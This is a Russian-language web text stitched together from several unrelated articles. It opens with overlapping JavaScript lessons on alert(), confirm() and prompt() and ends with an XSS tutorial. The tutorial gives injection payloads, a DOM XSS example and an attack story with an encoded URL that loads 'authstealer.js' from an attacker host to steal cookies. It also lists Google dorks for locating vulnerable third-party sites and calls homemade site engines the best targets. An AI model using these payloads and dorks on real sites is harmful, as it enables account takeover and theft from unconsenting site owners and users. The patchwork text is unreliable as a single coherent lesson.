На этом уроке мы познакомимся с методами объекта window: alert() , prompt() и confirm() .
Метод alert()Метод alert() предназначен для вывода на экран пользователя предупреждающего диалогового окна с указанным сообщением и кнопкой "ОК". Оно может использоваться для того чтобы донести до пользователя важную информацию.
window.alert(Параметр_1);
Метод alert() имеет один обязательный параметр - это текст сообщения, которое отображается в диалоговом окне. Данный метод в результате своего выполнения ни чего не возвращает.
Например, выведем для посетителя сайта при нажатии на ссылку предупреждающее диалоговое окно: Перейти на сайт
var resultConfirm = confirm(Параметр_1);
Данный метод имеет один параметр - это текст сообщения, которое будет выведено в диалоговое окно.
Метод confirm() в качестве результата (resultConfirm) своего выполнения возвращает одно из двух значений:
- true , если пользователь нажал "ОК";
- false , если пользователь нажал "Отмена" или закрыл его.
Например, выведем в элемент р с id="resultConfirm" результат нажатия пользователем на кнопку "ОК" в диалоговом окне:
var resultActionUser = confirm("Пользователь, пожалуйста нажми на кнопку ОК."); if (resultActionUser) { document.getElementById("resultConfirm").innerHTML = "Пользователь, спасибо что Вы нажали на кнопку ОК"; } else { document.getElementById("resultConfirm").innerHTML = "Пользователь, мы разочаровались в Вашем ответе"; }
Метод prompt() предназначен для вывода на экран пользователя диалогового окна с сообщением, текстовым полем для ввода данных и кнопками "ОК" и "Отмена". Оно предназначено для того, чтобы запросить данные у пользователя.
var resultPrompt = prompt(Параметр_1, Параметр_2);
Данный метод имеет два параметра:
- сообщение, которое будет выведено в диалоговом окне. Данный параметр является обязательным и содержит сообщение, в котором "говорится", какие данные должен ввести пользователь в текстовое поле;
- второй параметр является необязательным и может использоваться для указания начального значения, которое будет выведено в поле ввода диалогового окна при открытии.
В зависимости от действий пользователя метод prompt() может возвращать следующие данные:
- текстовое значение - если в поле ввода содержатся данные и пользователь нажал "ОК";
- пустая строка - если в поле ввода не содержатся данные и пользователь нажал "ОК";
- null - если пользователь нажал "Отмена" или закрыл это окно, при этом не важно какие данные были введены в текстовое поле.
Примечание: диалоговое окно, которое появляется в результате выполнения одного из методов alert() , confirm() или prompt() является модальным, т.е. оно блокирует доступ пользователя к родительскому приложению (браузеру) до тех пор, пока пользователь не закроет это диалоговое окно.
Например, запросим у пользователя имя и выведем в зависимости от результата текст в элемент c id="nameUser" :
var nameUser = prompt ("Введите своё имя?"); if (nameUser) { document.getElementById("nameUser").innerHTML = nameUser +", добро пожаловать на сайт!"; } else { document.getElementById("nameUser").innerHTML = "Гость, добро пожаловать на сайт!"; }
Например, попросим пользователя угадать число 8:
function guessNumber() { var findNumber = prompt ("Угадай число от 1 до 10?"); switch (findNumber) { case "6": alert("Уже теплее!"); break; case "7": alert("Горячо!"); break; case "8": alert("Ты угадал! Это число 8."); break; case "9": alert("Уже теплее!"); break; default: alert("Холодно!"); break; } } ... Угадай число
Организация диалога с посетителем веб-ресурса может быть исполнена различными способами, из которых использование функции JavaScript alert() является самым простым и быстрым вариантом. Особенно хорош этот вариант для целей тестирования, но на многих ресурсах применяется как естественный функционал.
Функция JavaScript alert() позволяет получить утвердительный ответ. По сути, важен не ответ, а сам факт вывода информации. Причём веб-ресурс перестаёт функционировать до тех пор, пока пользователь не откликнется. Ответ по алерту всегда один - это ответ!
В целях отладки JavaScript alert() - идеальное средство, которое позволяет быстро получить актуальную информацию, принять решение и продолжить работу. Но в целях обычного функционирования сайта у него есть также изрядное количество преимуществ.
Фиксация внимания посетителя"Алерт" - как в жизни, формирует событие, мимо которого никак не пройти. Но это событие может и не произойти .
Редкий разработчик знает об этом обстоятельстве и мучительно долго отлаживает свой сайт в его клиентской части. При этом мало кто из разработчиков не знает: найти ошибку в клиенте, то есть в браузере, часто настолько затруднительно, что:
- бесцельно уходят часы драгоценного времени;
- затрачиваются неимоверные трансформации кода;
- перелопачивается масса скриптов, на словах, достаётся и браузеру, и серверу.
А результата все нет. Ни дебаггеры не помогают, ни слова, ни встроенные во всякий браузер инструменты для отладки. Между тем ларчик всегда просто открывается - важен правильный ключик.
Простое правило правильного кодаПрежде всего, куки стали самой востребованной составляющей современного сайта. Следует никогда не забывать:
- JavaScript alert & document cookie
- «здесь и сейчас» & «вообще или когда-нибудь».
Куки - это классная возможность помнить в недрах браузера о каждом клиенте, но не следует придавать этому значения в текущем сеансе. Главная забота куки: остаться в «памяти» браузера в том содержании, которое она имела на момент ухода посетителя.
Во всем остальном код скрипта в недрах браузера зависит только от самого себя и событий, которые он обрабатывает.
В данном контексте, а контекст этот здесь идеален, код не может не работать, если он написан правильно. Это идеальное правило для правильного кода. Если браузер показывает чистый экран или что-то не так делает, есть основания предполагать наличие ошибки.
Проще простого применить:
- JavaScript alert("До сих пор было все правильно!").
Самый лучший дебагер или отладчик - событие, которое обязано произойти, но не происходит .
Перемещая эту конструкцию вниз от нуля до досадного криминала в коде можно обнаружить то место, после которого она не работает. Ошибка будет найдена. JavaScript alert() - это модальное окно . Его обойти никак нельзя, и дальше ничего не будет, пока разработчик/посетитель не закроет данное окно.
Если окно не выскакивает, значит, либо оно обозначено в коде неверно, либо все, что идёт до него, содержит ошибку.
Сложная ситуация, в которой alert JavaScript вроде как не срабатываетВ основном это касается AJAX алгоритмов обмена информацией с сервером. Здесь не всегда допустимо применять классические средства отладки, а когда на стороне клиента действует многоуровневая система объектов, то отладка вообще трансформируется в сознание разработчика и никакой дебаггер не в силах помочь.
Лучший вариант алерта в процедуре общения с сервером - это див (div), в который помещается протокол общения с сервером по методу innerHTML - всегда будет ясно, на каком этапе происходит проблема.
Статический див, который всегда виден на странице - это не модальное окно от JavaScript alert. Window может не появиться, и причин для того может быть множество, причем оформленных синтаксически правильно. Язык браузера отличается предельно спокойным нравом и никогда не предпримет каких-либо действий, если чего-то не разобрал и не понял.
Статичность любого тега HTML - хороший фактор. Убрать весь код и добавлять его порциями, пока ошибка вновь не возникнет, - не самая быстрая технология для отладки. Писать правильно - совет популярный, востребованный, но не практичный.
Язык браузера - работает по событиям, его основная забота - не последовательный код, а исполнение функциональности, назначенной на теги страницы, и обработка событий.
Дополнительное правило к простому правилуЕсли окно от JavaScript alert("До сих пор все написано правильно") не появилось в браузере, значит, синтаксис до места, где эта конструкция записана, не вызывает у браузера сомнений и исполнен правильно.
У логики современного стиля письма есть существенный недостаток. Все файлы страницы сливаются воедино (со своей сути и типам) в одно целое, и после этого строится DOM. Порядок соединения файлов часто имеет существенное значение.
Лучше всего, когда разработчик не придает значения событийному принципу организации исполнения функций, назначенных на события, а располагает все функции в последовательности их применения и назначения на теги и события страницы.
Порядок всегда важнее всего. С остальным JavaScript разберется сам: что и когда вызывать. Современное программирование вообще и в контексте любого метода, любого высокоорганизованного объектно-ориентированного подхода в частности - всегда последовательно. объединяются всегда тоже последовательно по мере описания.
Если что-то не происходит, значит: не где-то что-то не так, а только перед этим местом.
- методы объекта window;
- метод alert(): краткое резюме;
- метод confirm() - пишите письма;
- метод prompt() - давайте знакомиться, я Штирлиц.
Итак, объекты браузера. И в первую очередь - самый старший из них, объект window .
Вот основные методы объекта window (кроме них есть и другие, но они малоупотребительны, и, чтобы не загромождать мозги лишней информацией, я отложу их до третьей серии).
Метод |
Описание |
Открытые и закрытие окна браузера; есть возможность определять размер окна, его содержимое, а также наличие кнопочной панели, поля адреса и других атрибутов. |
|
Появление окна сигнального диалога с соответствующим сообщением. |
|
Появление окна диалога подтверждения с кнопками "ОК" и "Cancel". |
|
Появление окна диалога подсказки с полем текстового ввода. |
|
Установка или удаление фокуса для окна. |
|
Прокрутка содержимого окна до определенной точки. |
|
Установка временного интервала между функциональным вызовом и вычислением выражения. |
|
Установка однократного временного интервала до функционального вызова или вычисления выражения. |
Мы уже знаем, что window часто подразумевается, но не пишется.
Вызов различных окон диалогаОкна диалога применяются в программах для взаимодействия с пользователем.
Метод alert()
Его мы разбирали в самом начале наших занятий. Он создаёт простейшее диалоговое окно с сообщением и кнопкой ОК. Всё его взаимодействие ограничивается тем, что пользователь, нажав эту единственную кнопку, может послать это окно куда-нибудь подальше (и на том спасибо).
Метод confirm()
Метод confirm() уже даёт возможность пользователю принять простейшее «булево» решение: сказать «да» или «нет».
Вот, например, нажмите эту кнопку:
Извините за маленький розыгрыш. Надеюсь, Вы умеете пользоваться кнопкой «назад».
Как это всё устроено? Вы, конечно, увидели, что у меня этот метод скомбинирован с алертами. И сделано это с помощью функции, которая вставлена в .
Метод возвращает два значения: true (если ОК) и false (если отмена).
В true мы отправляем его на соответствующую страницу (свойство href объекта location ) и выводим соответствующий alert() . В противном случае (то есть false ) просто выводим другой alert() .
А в кнопочке вызываем функцию в событии onClick :
А затем нужно вызвать эту функцию из обработчика события onSubmit тэга , например:
Вот здесь, например, Вы можете написать мне на «мыло» всё, что думаете о моих уроках. Если вдруг погорячились и нажали кнопку, а потом неловко как-то стало, выскочит окно диалога и отрезвит Вас.
Если Вы делаете всплывающие окна, то хорошим тоном является предупреждать об этом пользователя и давать ему выбор - открывать окно или не открывать. Для этого перед загрузкой окна надо выпустить «парламентёра» - диалог confirm() . Здесь функция вызывается из . Об этом мы очень скоро поговорим, когда перейдём к созданию окон методом open() .
Метод prompt()
Этот метод уже запрашивает у пользователя конкретные данные. Появляется окно диалога с полем ввода. Метод возвращает данные, которые пользователь ввёл в это поле, и позволяет программе работать с этими данными.
У метода prompt() два аргумента: вопрос (который появляется над полем ввода) и ответ (текст в поле ввода):
Если хотите, чтобы поле ввода появилось чистым, поставьте вторым аргументом пустые кавычки:
| prompt ("текст вопроса ","") |
Давайте посмотрим это в действии. Нажмите кнопку, не бойтесь.
Итак, Вы ввели (или не ввели) данные и получили от компьютера ответ, опирающийся на эти данные (или их отсутствие).
Вот простой вариант этой функции:
Свойство innerHTML , позволяющее контролировать содержимое тэга, встречалось нам в 10 уроке, когда мы программировали названия под картинками.
А вот код кнопки и пустого абзаца для приветствия.
|
|
Но если Вы оказались моим тёзкой, то увидели, что функция среагировала и на это.
Как это сделать в «грубом» варианте, можете уже догадаться сами. Нужно проверить переменную user_name не только на пустые кавычки, но и на "Андрей ", и вложить ещё один if с соответствующим текстом (можете потренироваться сами).
Но если Вы наберёте "Андрей ", "Андрюша ", "Андрюшка ", "Андрюха ", "Андрейка ", "Андрей Иваныч " и т.п., то результат получится аналогичный, хотя я и не перебирал явно все эти значения, а обошёлся только пятью строками: "Андре ", "Андрю ", "Андрее ", "Андрейче " и "Андрейчу " (три последние - чтобы исключить из тёзок Андреева, Андрейченко и Андрейчука, сохранив в тёзках Андрейчика).
То есть можно догадаться, что функция проверяет переменную user_name на первые 5, 6 или 8 символов.
Но об этом мы будем говорить несколько позже, когда перейдём к строковым объектам и их методам. Просто я хочу, чтобы Вы заранее представляли те задачи, которые нам предстоит решать (в частности, всевозможные расщепления строк на подстроки). Тогда и сами решения покажутся понятнее. Но если не терпится, можете «срисовать» функцию из кода и «разделать под орех». Для любопытных я написал там комментарий.
Метод prompt() можно также использовать для ввода пароля.
Это ещё не конец урока!
Давайте немножко «поиграем в шпионов», чтобы дочитать до конца эту главу. Сначала попробуйте нажать кнопку и что-нибудь ввести.
А-а, вот так-то! Но смотрите, появилась ещё кнопка! Ну-ка...
Пароль:
Снова нажимаем первую кнопку и вводим правильный пароль.
Вся эта забава, пожалуй, бьёт на эффект, но на самом деле пароль можно узнать, нажав правую кнопку и посмотрев его в коде. Кто-то может наивно подумать, что достаточно поместить код в отдельный файл.js. Но в коде страницы будет ссылка на этот файл с указанием адреса. И если набрать его в адресной строке, то откроется файл с кодом JavaScript:)
Можно ли зашифровать пароль в коде? Можно, но для этого опять нужны манипуляции со строками вместе с применением некоторых математических методов. Когда мы до всего этого доберёмся, то изучим и скрипт «настоящего» пароля. Но техника взаимодействия с пользователем будет всё та же: метод prompt() . (Можно ли «расколоть» зашифрованный пароль? Увы, совершенству хакеров нет предела...)
Точно так же, как мы «ловили» имя или его отсутствие, поймаем функцией и пароль.
Если ввести неверный пароль или не ввести ничего, строка
document.getElementById("no").style.display = "block"
откроет блок со второй кнопкой
А если введён правильный пароль, действие передаётся строке
document.getElementById("yes").style.display = "block" ,
которая открывает следующий блок
Стоп, а что это там за крякозубры? Это незамысловатая шифровочка, скоро поясню.
А пока даю код этих блоков (для наглядности опускаю таблицу с рамками, которая у меня заключена в последний блок):
|
А-а, вот так-то! Но смотрите, появилась ещё кнопка! Ну-ка... Пароль:
Снова нажимаем первую кнопку и вводим правильный пароль. Теперь читаем дальше. . . . . . . . . . . |
Так вот, о шифровке. Она весьма убогая. Любой, знающий функции escape() и unescape() , тут же её взломает.
Функция escape("сюда ввести строку") преобразовывает символы в их шестнадцатеричные значения.
Функция unescape("сюда ввести крякозубры") выполняет обратное действие.
Чтобы таким образом зашифровать пароль, нужно у себя дома прогнать его через escape() , скопировать результат и вставить его в unescape() . Но это, повторяю, несерьёзно.
Ну и для полного комплекта - функция для второй кнопки:
Для вывода стандартных диалоговых окон у JavaScript есть только три метода, которые мы сегодня узнали. Хотя эти методы случается применять не так уж часто, умение уверенно с ними обращаться чрезвычайно полезно. Они просты, но при этом относятся, так сказать, к «чистому» программированию. На них очень хорошо набивать руку в освоении языка программирования. И я Вам советую всячески поэкспериментировать с ними, пусть даже бесцельно с прагматической точки зрения. Хорошее программирование - это увлекательная игра, как, впрочем, и любое творчество.
В этой статье мы изучим три интересных метода, а именно методы alert(), confirm() и prompt() . Они все предназначены для взаимодействия с пользователем .
Все эти три метода принадлежат объекту window(Окно браузера). И они могут вызываться таким образом: window.название_метода(); Но, JavaScript нам позволяет этот объект window не указать, а писать просто название метода.
Начнём мы с метода alert(). Данный метод, выводит указанное сообщение в окошко браузера пользователя. Это окошко отобразится поверх всей страницы, и пока пользователь не нажмёт на кнопку OK, оно не закроется.
Для демонстрации выведем какое-то сообщение с помощью метода alert()
Var today_is = "Понедельник"; alert("Сегодня " + today_is);
Внутри метода мы можем указать любую строку, только без html тегов. Они здесь не обрабатываются, а выводятся как есть.
Если строка, которую хотим указать очень длинная, и мы хотим сделать переход на новую строку, то здесь html тег
не сработает. Здесь нужно использовать символ "\n".
Alert("Looooooooong \nStringggggggg");
Данный метод используется часто для поиска ошибки в коде .
Процесс обработки кода идёт сверху вниз, поэтому для ловли ошибки, просто пишем метод alert() в предполагаемую область, где находится ошибка. И если alert() сработал, значит до строчки, где он написан, ошибок нет.
Дальше, нужно его перенести на одну строку или больше ниже. Сохраняем изменения, опять обновляем страницу в браузере, и смотрим, если alert() сработал, значит, ошибок до строчки, где он находится, нет, в противном случае, если он не сработал, ошибка находится в строку выше той, где он сейчас находится . Таким вот образом можно найти ошибку в коде.
метод confirm()Этот метод используется для подтверждения ответа, на какой-то вопрос. Есть только два варианта ответа, да(OK) или нет(Cancel/Отмена). Если пользователь отвечает да, то метод возвращает истину(true), иначе он возвращает лож(false).
Для примера, выведем окошко с помощью метода confirm(), где спросим пользователя "Вы точно хотите покинуть страницу?". Если пользователь ответит да, то через метод alert() выведем такое сообщение "Пользователь хочет покинуть страницу", иначе выведем другое сообщение "Пользователь НЕ хочет покинуть страницу".
Var user_answer = confirm("Вы точно хотите покинуть страницу?"); if(user_answer) alert("Пользователь хочет покинуть страницу"); else alert("Пользователь НЕ хочет \nпокинуть страницу");
Таким вот образом работает метод confirm(). Он может использоваться в разных случаях. Например, перед тем как удалить что-то с сайта принято спросить пользователя, уверен ли он в свои действия. Или же перед тем как отправить форму, тоже можно спросить пользователя "Вы все заполнили правильно?", если он ответит да, то форма отправиться, иначе она не отправится.
Метод prompt()И последний метод, которого мы изучим, это метод prompt(). Данный метод используется реже, чем остальные два метода. Он позволяет получить некую информацию от пользователя, которую он введёт в текстовое поле.
Как результат метод prompt() возвращает либо введённую строку, если пользователь нажал кнопку OK, либо null, если пользователь нажал на кнопку отмена.
Как параметр, то есть внутри скобок у данного метода мы можем написать указательную строку или вопрос, чтобы пользователь знал какую информацию необходимо ввести.
Например, попросим пользователя ответить на вопрос "Как Вас зовут?". Введённое пользователем имя, отобразим на экран с помощью метода alert().
Var name = prompt("Как Вас зовут?"); alert("Вас зовут " + name);
Сохраняем и открываем страницу в браузере.
Разумеется, в текстовое поле из метода prompt() можно ввести любую информацию. Эта информация будет возвращена как строка, даже в случае чисел или других спецсимволов.
Для примера попросим пользователя ввести две числа, чтобы потом умножить их. Будет некий калькулятор для умножения чисел.
Var x = prompt("Введите первое число:"); var y = prompt("Введите второе число:"); //Преобразование введенных чисел из строкового типа в числовой тип x = Number(x); y = Number(y); document.write(x + " * " + y + " = " + (x * y));
Введённые числа являются строками, поэтому для правильного результата умножения, необходимо эти числа пройти через функцию Number(), которая преобразует их из строкового типа в нормальные числа.
Ну и на этом все. Теперь Вы знаете ещё три метода: alert(), confirm() и prompt() . Которых Вы смело можете использовать на практике.
Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.
Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.
Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Если кто-то из пользователей ввёл:
То веб-страница отобразит:
Привет! Нравится твой сайт.
А если пользователь введёт так:
Привет! Нравится твой сайт.alert("Pwned")
То отобразиться это так:
Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.
Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.
Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.
Внедрённый код умеет всё то, что умеет JavaScript, а именно:
- получает доступ к кукиз просматриваемого сайта
- может вносить любые изменения во внешний вид страницы
- получает доступ к буферу обмена
- может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
- подцеплять на BeEF
- и др.
Простейший пример с кукиз:
alert(document.cookie)
На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.
Виды XSSСамое главное, что нужно понимать про виды XSS то, что они бывают:
- Хранимые (Постоянные)
- Отражённые (Непостоянные)
Пример постоянных:
- Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
- Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).
Пример непостоянных:
- На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.
Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):
- DOM-модели
Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:
Http://example.com/search.php?q="/>alert(1)
А при открытии исходного HTML кода мы видим что-то вроде такого:
alert(1)" /> Найти
А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:
сайт:::DOM XSS
An error occurred...
function OnLoad() {
var foundFrag = get_fragment();
return foundFrag;
}
function get_fragment() {
var r4c = "(.*?)";
var results = location.hash.match(".*input=token(" + r4c + ");");
if (results) {
document.getElementById("default").innerHTML = "";
return (unescape(results));
} else {
return null;
}
}
display_session = OnLoad();
document.write("Your session ID was: " + display_session + "
")
То в браузере мы увидим:
Исходный код страницы:
Давайте сформируем адрес следующим образом:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);
Теперь страница выглядит так:
Но давайте заглянем в исходный код HTML:
Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:
Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:
Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);
Где мы заменили символ ; на кодированный в URI эквивалент!
Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.
XSS AuditorВ Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:
dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.
Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.
Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.
Примеры эксплуатирования XSSЗлоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.
При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.
Пример атаки с непостоянным XSS
1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.
2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:
2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос
2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.
2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :
2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").
2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".
2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");
3. Мэлори конструирует URL для эксплуатации уязвимости:
3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.
3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».
4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.
5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.
7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.
8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.
Атака с постоянным XSS
Дорки для XSS
Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:
- inurl:search.php?q=
- inurl:.php?q=
- inurl:search.php
- inurl:.php?search=
Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.
Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.
Самые лучшие цели - это разнообразные самописные движки и скрипты.
В качестве полезной нагрузки для вставки можно выбрать
alert(1)
Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):
alert(1)
Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>
"/>alert(1)
Давайте попробуем её для какого-нибудь сайта:
Отлично, уязвимость имеется
Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.
Имеются также специализированные инструменты для сканирования на XSS уязвимости. Среди них особенно можно выделить.
